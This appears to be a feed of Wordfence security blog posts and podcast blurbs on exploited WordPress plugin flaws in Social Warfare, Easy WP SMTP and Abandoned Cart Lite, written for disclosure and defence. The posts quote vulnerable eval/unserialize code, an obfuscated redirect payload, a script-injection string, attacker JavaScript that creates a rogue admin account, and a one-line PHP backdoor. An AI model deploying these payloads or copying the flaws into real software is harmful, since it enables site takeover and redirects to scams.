Podcast Episode 4: The Aaron Campbell Interview and the Social Warfare Saga

This week we have an update on the Social Warfare plugin vulnerability, how it was more serious than originally thought, and a feud that has broken out between a security researcher and forum moderators. We also have some interesting data on how WordPress will become more secure soon with code signing. And along with several other news items, we have a spectacular interview with Aaron Campbell, the former head of WordPress security. Enjoy!!

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast.

This week in the news we cover:

You can find me on Twitter as @mmaunder, Kathy as @kathyzant, and Mikey as @heyitsmikeyv. Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 4: The Aaron Campbell Interview and the Social Warfare Saga appeared first on Wordfence.

Read More

Recent Social Warfare Vulnerability Allowed Remote Code Execution

In posts last week, we detailed a vulnerability in the Social Warfare plugin, and discussed the attack campaigns against it. These issues were reported widely as Cross Site Scripting (XSS) flaws, due to an unexpected disclosure and proof of concept released by an unnamed researcher. Our Threat Intelligence team quickly released a firewall rule to mitigate impact for our customers, and the plugin’s author issued a patch shortly thereafter. Attackers have issued persistent exploit attempts against this flaw, which are primarily connected to injected JavaScript redirect activity.

However, the patched vulnerability was not limited to XSS behavior. During the triage process, our team identified additional exploitable behavior in Social Warfare’s database migration code. This allowed remote code execution (RCE) on the vulnerable version, 3.5.2, in addition to the reported XSS capability.

Because the WordPress community had already been made aware of the critical 3.5.3 patch to the plugin, and because we had not identified any threat actors making use of this capability in the wild, we withheld this element from publication temporarily. We reached out to the WordPress.org plugin team to make sure they were aware of the issue, and have continued to monitor attack data to confirm no malicious RCE attempts have been caught.

Earlier today, this additional capability was reported by another security research team. Because this will more than likely prompt a new wave of exploit attempts, we feel it’s important to inform our users of the scope of these issues, and how we protect them.

Before we discuss the scary parts, some good news. The RCE vulnerability was removed in the same patch as the XSS flaw, 3.5.3. If you’ve updated Social Warfare, you are not vulnerable to this additional flaw. Additionally, the firewall rule we released last week for the XSS issue blocks the RCE as well, so Wordfence Premium customers are still secure if they haven’t managed to update yet. As usual, firewall or otherwise, it’s important that you update to 3.5.3 of Social Warfare immediately.

Remote Code Execution (RCE) Vulnerability In Detail

In last week’s post detailing the XSS vector, we shared a snippet of the plugin’s code that was responsible for the initial injectable input. The plugin is provided a remote URL, ostensibly containing an exported set of Social Warfare configuration options, and fetches the contents to begin the migration process.

/**
 * Migrates options from $_GET['swp_url'] to the current site.
 *
 * @since 3.4.2
 */
if ( true == SWP_Utility::debug('load_options') ) {
	if (!is_admin()) {
		wp_die('You do not have authorization to view this page.');
	}

	$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');

However, this snippet cut short of the RCE flaw just a few lines below:

$options = str_replace('<pre>', '', $options);
$cutoff = strpos($options, '</pre>');
$options = substr($options, 0, $cutoff);

$array = 'return ' . $options . ';';

try {
	$fetched_options = eval( $array );
}

The intent of this code was to parse a remote text document into a key->value array of options for the plugin to use. However, instead of using a typical data storage format like a serialized string or (preferably) JSON, the plugin generated options as an actual block of PHP code, which is crunched by eval() into an array.

Configuration document generated by Social Warfare to be migrated into a new site.

When a malicious injection matches the format used by the plugin normally, as in the attack campaigns running currently, an XSS payload can be injected into one or more of those settings. However, the contents of <pre> tags in the remote file are arbitrarily passed to eval(), meaning the code within is executed directly as PHP.

A basic example of a remote payload demonstrating PHP execution.

As in the example above, if the contents of the remote address passed via swp_url contain a simple phpinfo(); call between <pre> tags, the site will return a rendered phpinfo page.

With the ability to execute arbitrary PHP, attackers effectively have control of vulnerable sites. First, backdoors can be deployed, rogue WordPress administrators can be created, and system commands can be run, among other footholds. From there, attackers can leverage the controlled site however they choose, whether for spam, phishing, or other monetization methods.

Conclusion

To reiterate, this is not a new vulnerability. This is the same flaw that was patched in Social Warfare 3.5.3, and that the Premium version of the Wordfence firewall has protected against since last week. If you believe anyone in your network uses the Social Warfare plugin and still has not updated, please make sure they’re aware of this issue. We are still tracking the threat actors targeting this vulnerability, and will report on noteworthy findings as they present themselves.

The post Recent Social Warfare Vulnerability Allowed Remote Code Execution appeared first on Wordfence.

Read More

Social Warfare Plugin Zero-Day: Details and Attack Data

In our earlier post, we issued a warning to users of the Social Warfare plugin regarding a zero-day vulnerability affecting their sites. At this time, the plugin’s developers have issued a patch for the flaw. All users are urged to update to version 3.5.3 immediately.

Vulnerability Details

The plugin features functionality that allows users to clone its settings from another site. However, this functionality was not restricted to administrators or even logged-in users. An attacker is able to input a URL pointing to a crafted configuration document, which overwrites the plugin’s settings on the victim’s site.

/**
 * Migrates options from $_GET['swp_url'] to the current site.
 *
 * @since 3.4.2
 */
if ( true == SWP_Utility::debug('load_options') ) {
	if (!is_admin()) {
		wp_die('You do not have authorization to view this page.');
	}

	$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
if (update_option( 'social_warfare_settings', $new_options )) {
	wp_die('Social Warfare settings updated to match ' . $_GET['swp_url']);
}

With the ability to modify the social media plugin’s settings, an attacker can pivot and perform more malicious activity. In all cases we’ve tracked so far, attackers modify the twitter_id value, as it most directly leads to a front-facing XSS injection point.

Active Exploit Campaign

Threat actors exploiting this flaw host their payloads as Pastebin raw files, as the URLs are anonymous and don’t point directly to the attacker’s infrastructure. At this time, we’ve identified three main Pastebin addresses:

  • https://pastebin.com/raw/0yJzqbYf
  • https://pastebin.com/raw/PcfntxEs
  • https://pastebin.com/raw/cYEtKpad
    • This document was taken down by Pastebin at the time of this writing.

The two Pastebin URLs that were still live were nearly identical. Both contained the same type of injection, at the same injection point, with the same obfuscation method, and both performed redirects in the same manner. The only difference is the redirect target.

eval(String.fromCharCode(118, 97, 114, 32, 108, 108, 116, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 101, 116, 102, 111, 114, 99, 111, 110, 102, 105, 103, 112, 108, 101, 97, 115, 101, 46, 99, 111, 109, 47, 119, 101, 110, 98, 51, 52, 104, 103, 113, 102, 99, 97, 53, 54, 55, 53, 54, 56, 57, 53, 55, 57, 46, 112, 104, 112, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 108, 108, 116, 32, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 32, 59, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 59));

Deobfuscating the above script results in the following JavaScript payload:

var llt = "hXXps://setforconfigplease[.]com/wenb34hgqfca5675689579.php";
document.location.replace(llt );
document.location.href=llt ;
window.location.href=llt;

Between the two payloads, the following URLs were present:

  • hXXps://setforconfigplease[.]com/wenb34hgqfca5675689579.php
  • hXXps://strangefullthiggngs[.]com/sdjgjkhjk9.php

One domain, setforconfigplease[.]com, has been on our radar for a while now, most recently in our recent research into attacks against Easy WP SMTP. The other, strangefullthiggngs[.]com, is a newcomer. In fact, it was registered today.

WHOIS data for strangefullthiggngs[.]com showing it was created today, March 21.

These domains are part of a larger redirect campaign, and are both hosted on the same IP address, 176.123.9.52. Visitors who are redirected to these addresses are subsequently redirected to a series of malicious sites, and their individual activity is tracked via cookies. Reports have indicated a variety of eventual redirect targets, from pornography to tech support scams.

Patch Released

As mentioned, the plugin’s vendor issued a patch for this vulnerability within hours of becoming aware of it.

Screenshot of the diffset between the vulnerable and patched versions of the plugin.

As shown in the diff above, all of the existing settings import code was gutted from the plugin and replaced. Additionally, new code was added which attempts to directly reverse the XSS injections that had been distributed.

private function correct_invalid_values() {
	$defaults = $this->registered_options['defaults'];
	$values   = $this->registered_options['values'];

	foreach( $this->user_options as $key => $value ) {

		// For the Zero Day bug catch
		if ( 'twitter_id' == $key ) {
			if ( strpos( $value, '<' ) || strlen( $value ) > 15 ) {
				$this->user_options['twitter_id'] = '';
				SWP_Utility::update_option( 'twitter_id' , '' );
			}
		}

		if ( is_string( $value ) && strpos( $value, 'fromCharCode') > -1 ) {
			$this->user_options[$key] = '';
			SWP_Utility::update_option( $key , '' );
		}

In code added to the function correct_invalid_values(), the plugin now makes efforts to remove injected content from its options values. First, if a < symbol is present in the twitter_id field, or the length of the value is greater than 15 bytes, the setting is set to a blank string. Next, if the string fromCharCode is present in any value, that value is similarly set to an empty string. This is in response to the obfuscation method shown earlier in this post and used by the threat actors behind this campaign.

The behavior of including patch code to directly address the aftermath of successful exploits is uncommon, but not unprecedented. We’ve seen similar efforts as recently as the WooCommerce Abandoned Cart vulnerability we detailed earlier this month.

Conclusion

The Wordfence WAF was quickly updated in response to these threats and our Premium users are protected. As always, we recommend updating your site’s plugins regularly. Unfortunately in this case, the exploit was in the hands of the bad folks before the good ones had a chance to do anything about it. Cases like this illustrate why a layered security posture is so important, and why it’s important to remain constantly in the loop with security news that may affect your site.

The post Social Warfare Plugin Zero-Day: Details and Attack Data appeared first on Wordfence.

Read More

Unpatched Zero-Day Vulnerability in Social Warfare Plugin Exploited In The Wild

Earlier today, an unnamed security researcher published a full disclosure of a stored Cross-Site Scripting (XSS) vulnerability present in the most recent version of popular WordPress plugin Social Warfare. The plugin, which was subsequently removed from the WordPress.org plugin repository, has an active install base of over 70,000 sites. The flaw allows attackers to inject malicious JavaScript code into the social share links present on a site’s posts.

The Defiant Threat Intelligence team has already identified attacks against this vulnerability, and has deployed a firewall rule to prevent its exploitation. Premium users gain immediate access to the new rule, and after a thirty-day delay it will be available to Free users. Because this vulnerability has yet to be patched, it is recommended that site administrators deactivate the plugin until a patch is released.

At this time, we are refraining from publicizing details of the flaw and the attacks against it. At such time that the vendor makes a patch available, we will produce a follow-up post with further information.

What Should I Do?

If your site is protected by Wordfence Premium, your firewall will have a new rule designed to prevent these attacks. If not, you can gain access to the rule by upgrading to Premium now. Short of that, deactivating the Social Warfare plugin until a patch is available will prevent these attacks, though at the loss of the plugin’s functionality.

Our team is actively tracking attacks against this flaw, and will produce more details as soon as we feel is responsible. In the meantime, please consider sharing this public service announcement to other WordPress users who may not know of these new risk factors.

The post Unpatched Zero-Day Vulnerability in Social Warfare Plugin Exploited In The Wild appeared first on Wordfence.

Read More

Podcast Episode 3: The Cory Miller Interview and Active Exploits Target Easy WP SMTP Plugin

Welcome to Think Like a Hacker, Episode 3. In this episode Mikey Veenstra, a threat analyst at Wordfence, discusses an active exploit in the Easy WP SMTP plugin. This is breaking news which we added to the podcast at the very last minute.

We also chat with Cory Miller, the founder and former CEO of iThemes about how he created his business, why he sold to Liquid Web, what it’s like being an entrepreneur and much more. You can find Cory on Twitter at @corymiller303. And as always we cover the news with Kathy Zant.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast.

This week in the news we cover:

You can find me on Twitter as @mmaunder, Kathy as @kathyzant, and Mikey as @heyitsmikeyv. Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 3: The Cory Miller Interview and Active Exploits Target Easy WP SMTP Plugin appeared first on Wordfence.

Read More

Hackers Abusing Recently Patched Vulnerability In Easy WP SMTP Plugin

Over the weekend, a vulnerability was disclosed and patched in the popular WordPress plugin Easy WP SMTP. The plugin allows users to configure SMTP connections for outgoing email, and has a userbase of over 300,000 active installs. The vulnerability is only present in version 1.3.9 of the plugin, and all of the plugin’s users should update to 1.3.9.1 as quickly as possible to address the flaw.

This vulnerability is under active attack, being used by malicious actors to establish administrative control of affected sites en masse. We have released a firewall rule which prevents exploitation of the flaw, protecting Wordfence Premium sites which haven’t yet updated the affected plugin. Our free users will gain access to the new rule in thirty days, but they can protect themselves in the meantime by updating their plugins.

In today’s post, we’ll look at the vulnerability, how attackers are abusing it, and what users should do if they believe they’ve been put at risk.

Insufficient Access Controls In Import/Export Feature

The root of the vulnerability is in the Import/Export functionality which was added to Easy WP SMTP in version 1.3.9. The new code resides in the plugin’s admin_init hook, which executes in wp-admin/ scripts like admin-ajax.php and admin-post.php.

$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
if ( $is_import_settings ) {
  $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
  if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
      echo $err_msg;
      wp_die();
  }
  $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
  try {
      $in = unserialize( $in_raw );
      if ( empty( $in[ 'data' ] ) ) {
          echo $err_msg;
          wp_die();
      }
      if ( empty( $in[ 'checksum' ] ) ) {
          echo $err_msg;
          wp_die();
      }
      if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
          echo $err_msg;
          wp_die();
      }
      $data = unserialize( $in[ 'data' ] );
      foreach ( $data as $key => $value ) {
          update_option( $key, $value );
      }
      set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
      $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
      wp_safe_redirect( $url );
      exit;

When this hook fires, the plugin checks for the existence of the POST parameter swpsmtp_import_settings. If this parameter is set to 1, it assumes that an import is taking place and checks for a file upload as swpsmtp_import_settings_file. The contents of the uploaded file are unserialized, and update_option is run on each given key/value pair.

A number of issues present themselves in this process.

First, and most importantly, no capabilities checks are performed during this process so an attacker does not need any special permissions to exploit this flaw.

Next, instead of running on a dedicated AJAX action, REST endpoint, or dashboard page, the importer looks for an import with every admin_init call. This means the code will run for unauthenticated users, as this call is made even for logged-out sessions. Without this element, an attacker would at least need subscriber-level access to a victim’s site.

Then, unsanitized user input is passed to unserialize(), which inherently creates an object injection vulnerability.

Lastly, any user-provided options are updated, rather than a set of plugin-specific options. This allows an attacker to alter any values in a site’s wp_options table, which is the activity taking place against vulnerable sites at this time.

Exploit Campaigns Taking Over Vulnerable Sites

The Defiant Threat Intelligence team is actively tracking activity from two distinct threat actors associated with this vulnerability.

Both of the campaigns launch their initial attacks identically, by using the proof of concept (PoC) exploit detailed in NinTechNet’s original disclosure of the vulnerability. These attacks match the PoC exactly, down to the checksum, and enable users to register administrator accounts by changing default_role to “administrator”, and enabling users_can_register. Then, the attacker uses these new settings to register an administrator user for themselves.

From here, the campaigns diverge. The first threat actor’s activity stops after this point, suggesting that this stage was the only automated step of their process and they’re just assembling a number of rogue admin accounts for later use.

The other campaign continues by altering the victim site’s siteurl and home options to trigger malicious redirects when the site is visited, then injecting malicious <script> tags into all PHP files on the affected site with the string “index” present in their name. This obviously affects files named index.php, but also happens to impact files like class-link-reindex-post-service.php, present in Yoast’s SEO plugin.

In these cases, we’ve identified two domains used in the options values and script injections: setforconfigplease[.]com, and getmyfreetraffic[.]com. These domains are followed by an alphanumeric path string, presumably used similar to affiliate tracking codes to identify the source of the newly created traffic. When encountered by a user, the redirecting sites check for and assign cookies to track these users and determine where to redirect them. The most common redirects seen from these sources are tech support scams warning that users’ computers may be affected by the Zeus virus, among others.

Notably, both of these domains resolve to the same host IP address, which also hosts the malicious domains somelandingpage[.]com and setforspecialdomain[.]com, both of which have been seen in similar attack campaigns.

Next Steps

The attacks against this vulnerability are widespread, and successful exploits can grant full control of vulnerable sites to the attackers. As always, it’s important for users to regularly update their plugins in order to apply the security patches for vulnerabilities like these. Easy WP SMTP version 1.3.9.1 prevents unauthenticated access to the import script, as well as restricting affected options to only include expected values.

For typical WordPress users, if you believe your site may have been compromised as a result of this or any other vulnerability, consider reaching out to our team for a site cleaning. Otherwise, be on the lookout for the following indicators of compromise (IOCs):

  • Logged traffic from the following IPs:
    • 185.212.131.45
    • 185.212.128.22
    • 185.212.131.46
    • 86.109.170.200
  • Database siteurl and home values not matching their intended values, especially including the following domains:
    • setforconfigplease[.]com
    • getmyfreetraffic[.]com
  • Administrator accounts present for unknown users. For example:
    • devidpentesting99
    • larryking99
  • Malicious <script> tags injected into the first line of index.php files. For example:
    • <script type='text/javascript' async src='hXXps://setforspecialdomain[.]com/in2herg42t2?type=in2&frm=scr&'></script>

As this situation shows, the time between the publication of vulnerability details and the first round of attacks can be incredibly short. Even the most fastidious site owners can be caught unaware and left open to attack. A firewall backed by a team focused 100% on WordPress security is must-have insurance for these situations. If your site matters to you, consider upgrading to Wordfence Premium to guard against future vulnerabilities of this nature.

The post Hackers Abusing Recently Patched Vulnerability In Easy WP SMTP Plugin appeared first on Wordfence.

Read More

Podcast Episode 2: Mikey Veenstra Talks XSS Vulnerability + The Adam Warner Interview

Welcome to Think Like a Hacker, Episode 2. In this episode Mikey Veenstra, a threat analyst at Wordfence, discusses a serious XSS vulnerability in an abandoned cart plugin. We also chat with Adam Warner, a well known figure in the WordPress community. In our interview we chat about Adam’s personal WordPress journey, community engagement success and the future of WordPress. You can find Adam on Twitter at @wpmodder. And as always we cover the news with Kathy Zant.

Find us on iTunes, Spotify, YouTube, SoundCloud, TuneIn and Stitcher. More platforms coming soon!

Click here to download an MP3 version of this podcast.

This week in the news we cover:

  • The web just took a big step toward a password-free future with WebAuthn. The Worldwide Web Consortium approved the WebAuthn standard on March 4. We look at how it works, why this is important, and what it means for WordPress.
  • A marketing company left a massive database of detailed marketing data exposed. Security researchers discovered the database, including a trove of personally identifiable information about over 800 million people.
  • Researchers have discovered a collection of MongoDBs containing information collected by China about their citizens from a variety of platforms, tied to individual profiles and distributed to police across the country.
  • It’s been 30 years of the web, and Sir Tim Berners-Lee wrote a blog post about the state of the web some thoughts on where we’re going next.

You can find me on Twitter as @mmaunder, Kathy as @kathyzant, and Mikey as @heyitsmikeyv. Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 2: Mikey Veenstra Talks XSS Vulnerability + The Adam Warner Interview appeared first on Wordfence.

Read More

Podcast Episode 2: Mikey Veenstra Talks XSS Vulnerability + The Adam Warner Interview

Welcome to Think Like a Hacker, Episode 2. In this episode Mikey Veenstra, a threat analyst at Wordfence, discusses a serious XSS vulnerability in an abandoned cart plugin. We also chat with Adam Warner, a well known figure in the WordPress community. In our interview we chat about Adam’s personal WordPress journey, community engagement success and the future of WordPress. You can find Adam on Twitter at @wpmodder. And as always we cover the news with Kathy Zant.

Find us on iTunes, Spotify, YouTube, SoundCloud, TuneIn and Stitcher. More platforms coming soon!

Click here to download an MP3 version of this podcast.

This week in the news we cover:

  • The web just took a big step toward a password-free future with WebAuthn. The Worldwide Web Consortium approved the WebAuthn standard on March 4. We look at how it works, why this is important, and what it means for WordPress.
  • A marketing company left a massive database of detailed marketing data exposed. Security researchers discovered the database, including a trove of personally identifiable information about over 800 million people.
  • Researchers have discovered a collection of MongoDBs containing information collected by China about their citizens from a variety of platforms, tied to individual profiles and distributed to police across the country.
  • It’s been 30 years of the web, and Sir Tim Berners-Lee wrote a blog post about the state of the web some thoughts on where we’re going next.

You can find me on Twitter as @mmaunder, Kathy as @kathyzant, and Mikey as @heyitsmikeyv. Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 2: Mikey Veenstra Talks XSS Vulnerability + The Adam Warner Interview appeared first on Wordfence.

Read More

XSS Vulnerability in Abandoned Cart Plugin Leads To WordPress Site Takeovers

Last month, a stored cross-site scripting (XSS) flaw was patched in version 5.2.0 of the popular WordPress plugin Abandoned Cart Lite For WooCommerce. The plugin, which we’ll be referring to by its slug woocommerce-abandoned-cart, allows the owners of WooCommerce sites to track abandoned shopping carts in order to recover those sales. A lack of sanitation on both input and output allows attackers to inject malicious JavaScript payloads into various data fields, which will execute when a logged-in user with administrator privileges views the list of abandoned carts from their WordPress dashboard.

At this time, any WordPress sites making use of woocommerce-abandoned-cart, or its premium version, woocommerce-abandoned-cart-pro, are advised to update to the latest available version as soon as possible. Sites making use of the Wordfence WAF, both free and premium, are protected from the attacks detailed in this post due to the firewall’s built-in XSS protection. Affected users without Wordfence installed should consider a Site Security Audit to confirm the integrity of their WordPress sites.

In today’s post, we’ll take a look at the details of this vulnerability, how attackers are exploiting it in the wild to take over sites, and what site owners should do if they believe they’ve been attacked.

XSS Vulnerability In Detail

The guest-input side of woocommerce-abandoned-cart begins when an unauthenticated user builds a shopping cart and begins the checkout process.

An example of the Billing Details page on a basic WooCommerce site. This data is stored by woocommerce-abandoned-cart in case checkout isn’t completed.

With the plugin active, all of the data input by the guest is sent back to the plugin using the save_data AJAX action. The intent is if the checkout process is not completed, whether the page was navigated away from, or the browser closed, or the shopper just got distracted, the plugin can inform the shop’s owners within their dashboard.

function save_data() {
      if ( ! is_user_logged_in() ) {
          global $wpdb, $woocommerce;    
          if ( isset($_POST['billing_first_name']) && $_POST['billing_first_name'] != '' ){
              wcal_common::wcal_set_cart_session( 'billing_first_name', $_POST['billing_first_name'] );
          }
          if ( isset($_POST['billing_last_name']) && $_POST['billing_last_name'] != '' ) {
              wcal_common::wcal_set_cart_session( 'billing_last_name', $_POST['billing_last_name'] );
          }            
          if ( isset($_POST['billing_company']) && $_POST['billing_company'] != '' ) {
              wcal_common::wcal_set_cart_session( 'billing_company', $_POST['billing_company'] );
          }   

However, the function used to handle these AJAX requests fails to perform any input sanitization on the various $_POST fields it receives. As shown in the above snippet, shopper data fields like billing_first_namebilling_last_name, and billing_company are stored directly as they were received. The data pulled from this request is stored in the WordPress database, and can be accessed by an administrator from their dashboard. There, they can view the individual carts, their customer information, and order totals.

An abandoned cart, patiently waiting to be recovered.

When this data is rendered in the administrator’s browser, no output sanitization takes place either. Particularly, billing_first_name and billing_last_name are concatenated into a single “Customer” field in the output table. This field is what hackers are targeting in active campaigns against this flaw.

Malicious JavaScript Hijacking Admin Sessions

The attacks on this vulnerability have been consistent in their execution. The attacker builds a cart, supplies bogus contact information, and abandons the cart. The names and emails are random, but the requests follow the same pattern: the generated first and last name are supplied together as billing_first_name, but the billing_last_name field contains the injected payload <script src=hXXps://bit[.]ly/2SzpVBY></script>.

Malware campaigns making use of URL shortening services like bit.ly are common. In addition to providing a basic layer of abstraction between the malicious request and the actual URL of the script, the shorter addresses make it easier to beat string length restrictions (especially when bypass techniques are employed, which isn’t the case in this scenario). Not only that, but if the domain at the other end of the URL shortener is taken down, the attacker can just point the bit.ly address at a new domain and keep all of their previous injections alive.

In this case, the bit.ly address resolves to hXXps://cdn-bigcommerce[.]com/visionstat.js. The domain, which attempts to look innocuous by impersonating the legitimate cdn.bigcommerce.com, points to the command and control (C2) server behind the infection. The target script, visionstat.js, is a malicious JavaScript payload which uses the victim’s own browser session to deploy backdoors on their site. Two backdoors are deployed: a rogue administrator account is created, and a deactivated plugin is infected with a code execution script. Both actions are executed by creating a hidden iframe in the admin’s existing browser window, then simulating the process of filling out and submitting the necessary forms within it.

function processNewUser(adminhref){
	var username = 'woouser';
	var email = 'woouser401a@mailinator.com';
	var password = 'K1YPRka7b0av1B';
	
	pfr=document.createElement('iframe');
	pfr.style.visibility='hidden';
	pfr.name='pfr';
	pfr.src=adminhref+'/user-new.php';

In the first backdoor, a hidden iframe is created which opens the new user creation form. This form is filled out with the information from the first few lines of the function seen above, with a username of “woouser” and an email address at Mailinator, a popular disposable inbox provider. The user is given the Administrator role, and the account is created.

When this new user is created, the attacker is notified in two ways. First, the visionstat.js payload makes an AJAX call to hXXps://cdn-bigcommerce[.]com/counterstat.php to phone home to its C2 with the URL of the compromised site. Second, the WordPress application running on the site will generate a new user notification email, which is sent to the Mailinator inbox associated with the rogue administrator account.

for (var at = 0; at < fl.length; at++) {
	try{
		if(fl[at].href.indexOf('action=activate&plugin=')>0){
			funcURL = fl[at].href.match(/action=activate&plugin=([^&]+)/)[1];

			//console.log(funcURL);
			break;
		}
	}catch(e){
	}
}
//console.log(funcURL);
if (funcURL == '')
{
	maindata.details = "Error: No disabled plugins!";
	SendData(maindata);
}
else
{
	maindata.details = "Found disabled plugin (" + funcURL + ")";
	SendData(maindata);
	processPluginEdit(adminhref, pfr1, funcURL);
}

For the second backdoor, visionstat.js opens another hidden iframe, this time to the site’s Plugins menu. There, it scans the list of installed plugins for an “Activate” link, which signifies an inactive plugin is present. Then, new content is injected into the inactive plugin, containing a simple PHP backdoor script.

<?php @extract($_REQUEST);@die($cdate($adate));

By sending a POST request to this script containing a PHP function as the cdate parameter, and an argument for that function as adate, they are able to perform a variety of actions, from executing arbitrary PHP code to running system commands on the compromised server. As with the creation of a rogue administrator, visionstat.js also phones home to the C2 server to inform the attacker that this backdoor was successfully deployed.

Plugin Vendor Deploys Unique Patch

Tyche Softwares, the plugin’s vendor, was made aware of the vulnerability via user reports on the WordPress.org forums. A patch was quickly released, and a security notice was posted in the plugin’s changelog. The patched version of the plugin applies WordPress’s built-in sanitize_text_field function to prevent the injection of new scripts.

            if ( 'yes' !== get_option( 'ac_lite_user_cleanup' ) ) {
                $query_cleanup = "UPDATE `".$wpdb->prefix."ac_guest_abandoned_cart_history_lite` SET 
                    billing_first_name = IF (billing_first_name LIKE '%<%', '', billing_first_name),
                    billing_last_name = IF (billing_last_name LIKE '%<%', '', billing_last_name),
                    billing_company_name = IF (billing_company_name LIKE '%<%', '', billing_company_name),
                    billing_address_1 = IF (billing_address_1 LIKE '%<%', '', billing_address_1),
                    billing_address_2 = IF (billing_address_2 LIKE '%<%', '', billing_address_2),
                    billing_city = IF (billing_city LIKE '%<%', '', billing_city),
                    billing_county = IF (billing_county LIKE '%<%', '', billing_county),
                    billing_zipcode = IF (billing_zipcode LIKE '%<%', '', billing_zipcode),
                    email_id = IF (email_id LIKE '%<%', '', email_id),
                    phone = IF (phone LIKE '%<%', '', phone),
                    ship_to_billing = IF (ship_to_billing LIKE '%<%', '', ship_to_billing),
                    order_notes = IF (order_notes LIKE '%<%', '', order_notes),
                    shipping_first_name = IF (shipping_first_name LIKE '%<%', '', shipping_first_name),
                    shipping_last_name = IF (shipping_last_name LIKE '%<%', '', shipping_last_name),
                    shipping_company_name = IF (shipping_company_name LIKE '%<%', '', shipping_company_name),
                    shipping_address_1 = IF (shipping_address_1 LIKE '%<%', '', shipping_address_1),
                    shipping_address_2 = IF (shipping_address_2 LIKE '%<%', '', shipping_address_2),
                    shipping_city = IF (shipping_city LIKE '%<%', '', shipping_city),
                    shipping_county = IF (shipping_county LIKE '%<%', '', shipping_county)";

                $wpdb->query( $query_cleanup );

                $email = 'woouser401a@mailinator.com';
                $exists = email_exists( $email );
                if ( $exists ) {
                    wp_delete_user( esc_html( $exists ) );
                }

                update_option( 'ac_lite_user_cleanup', 'yes' );
            }

In a rather direct attempt to address the active exploitation of this vulnerability, the developers also implemented a cleanup function in the patched version of their plugin. This function first performs a scan of the existing abandoned cart data, and removes any entries where a < symbol is encountered, which prevents subsequent execution of the malicious <script src=hXXps://bit[.]ly/2SzpVBY></script> payloads that may be present.

The next block of code is the interesting one, though. Because the plugin’s developers were made aware of this flaw due to reports of these same exploits, they include a check for the existence of the email address registered with the malicious “woouser” account. If a user with this email is identified, the plugin deletes that user.

Next Steps

While these are clever steps in addressing current incarnations of this campaign, it’s important that site owners don’t rely on these measures alone. This patch does not detect or remove the secondary backdoors injected into inactive plugins, and the nature of the initial XSS payload allows the email address of newly created rogue admins to be changed with very little effort by modifying the visionstat.js script hosted on the C2 site, or by changing the target of the bit.ly shortlink. The patch also leaves output sanitization untouched, meaning preexisting injected scripts can still execute in the dashboard if the cleanup function fails to remove them for any reason.

Our recommendation for site owners using either woocommerce-abandoned-cart or woocommerce-abandoned-cart-pro is to review their database contents for possible script injections. The exact name of the table to check will vary depending on your database prefix and the Lite/Pro status of your installed plugin, but guest shopper data can be found in the table with ac_guest_abandoned_cart_history in its name. After this check has been completed, review the user accounts present on your site. If any unauthorized administrator accounts are present, delete them immediately and begin your incident response process.

The good news for current Wordfence users is that these attacks are blocked by the XSS protection present in both the free and premium versions of our firewall. If you used one of these abandoned cart plugins and were not a Wordfence user prior to this patch, installing Wordfence and running a scan will tell you whether you have been hacked. Also consider reaching out to our team for a Site Security Audit, which includes a free year of Wordfence Premium in addition to the peace of mind provided by the audit itself.

Despite the release of a patch, these attacks are still ongoing and our investigation reveals new sites compromised daily. Please consider sharing this post as a public service announcement, to improve community awareness of these attacks and prompt updates for those who need them. As always, thank you for reading.

The post XSS Vulnerability in Abandoned Cart Plugin Leads To WordPress Site Takeovers appeared first on Wordfence.

Read More

Think Like a Hacker Podcast Episode 1: An Interview with Josepha Haden

Josepha Haden is the Executive Director of the WordPress project at Automattic. She oversees and directs all contributor teams in their work to build and maintain WordPress. Josepha can be found at https://josepha.blog. In our news segment, we talk about recent vulnerabilities in the Freemius library affecting WordPress plugins, the CoinHive shutdown, and why potential changes in WordPress core development will benefit end users’ security and more.

Click here to download an MP3 version of this podcast. Note that we are in the process of syndicating video and audio versions of this podcast to your favorite player, and we needed to publish our first episode to enable syndication. So check back in a few days and you should find us just about everywhere. Thanks for your patience.

This week in the news we cover:

  • WordPress as of version 5.1 now alerts site owners on the dashboard if they’re using an out of date version of PHP.
  • The 2018 hacked site report from GoDaddy Security/Sucuri indicates increased prevalence of WordPress sites in their site cleaning business. In better news, they’re seeing more WordPress sites updated than in years past, and the WordPress sites are being updated much more frequently than eCommerce platforms.
  • Freemius, a library used by a number of plugins with large installation bases, recently experienced a vulnerability disclosure and a challenging experience with a security researcher. Their blog post is a heartening read about how we all can handle security vulnerability disclosures that serve customers and the community as a whole.
  • The widely used Chrome browser requires an update to patch a very serious vulnerability.
  • WordPress core team is hoping to tighten major release cycles that hopes to streamline development for contributors as well as encourage more site owners to enable autoupdating.
  • A distributed cryptocurrency mining platform called CoinHive is ceasing operations. CoinHive was popular amongst hackers as a new way to mine cryptocurrency on hacked websites, but the crash in cryptocurrency value made it less profitable.

You can find me on Twitter as @mmaunder and Kathy as @kathyzant. Please don’t hesitate to post your feedback in the comments below.

The post Think Like a Hacker Podcast Episode 1: An Interview with Josepha Haden appeared first on Wordfence.

Read More
